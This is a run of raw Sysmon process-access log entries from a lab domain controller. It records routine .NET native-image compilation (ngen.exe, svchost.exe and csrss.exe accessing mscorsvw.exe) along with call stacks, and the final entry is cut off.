10341000x800000000000000044839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.796{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E309-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.737{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E209-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.716{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E209-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.716{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E209-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.687{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E109-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.676{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E109-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.676{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E109-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.616{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-E009-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.596{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-E009-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.596{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-E009-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.546{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DF09-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.536{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DF09-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.536{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DF09-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.496{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DE09-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.475{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DE09-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.475{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DE09-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.420{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DD09-00000000F001}6516C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.395{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DD09-00000000F001}6516C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.395{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DD09-00000000F001}6516C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.295{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.295{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DC09-00000000F001}6772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.286{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DC09-00000000F001}6772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.285{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DC09-00000000F001}6772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 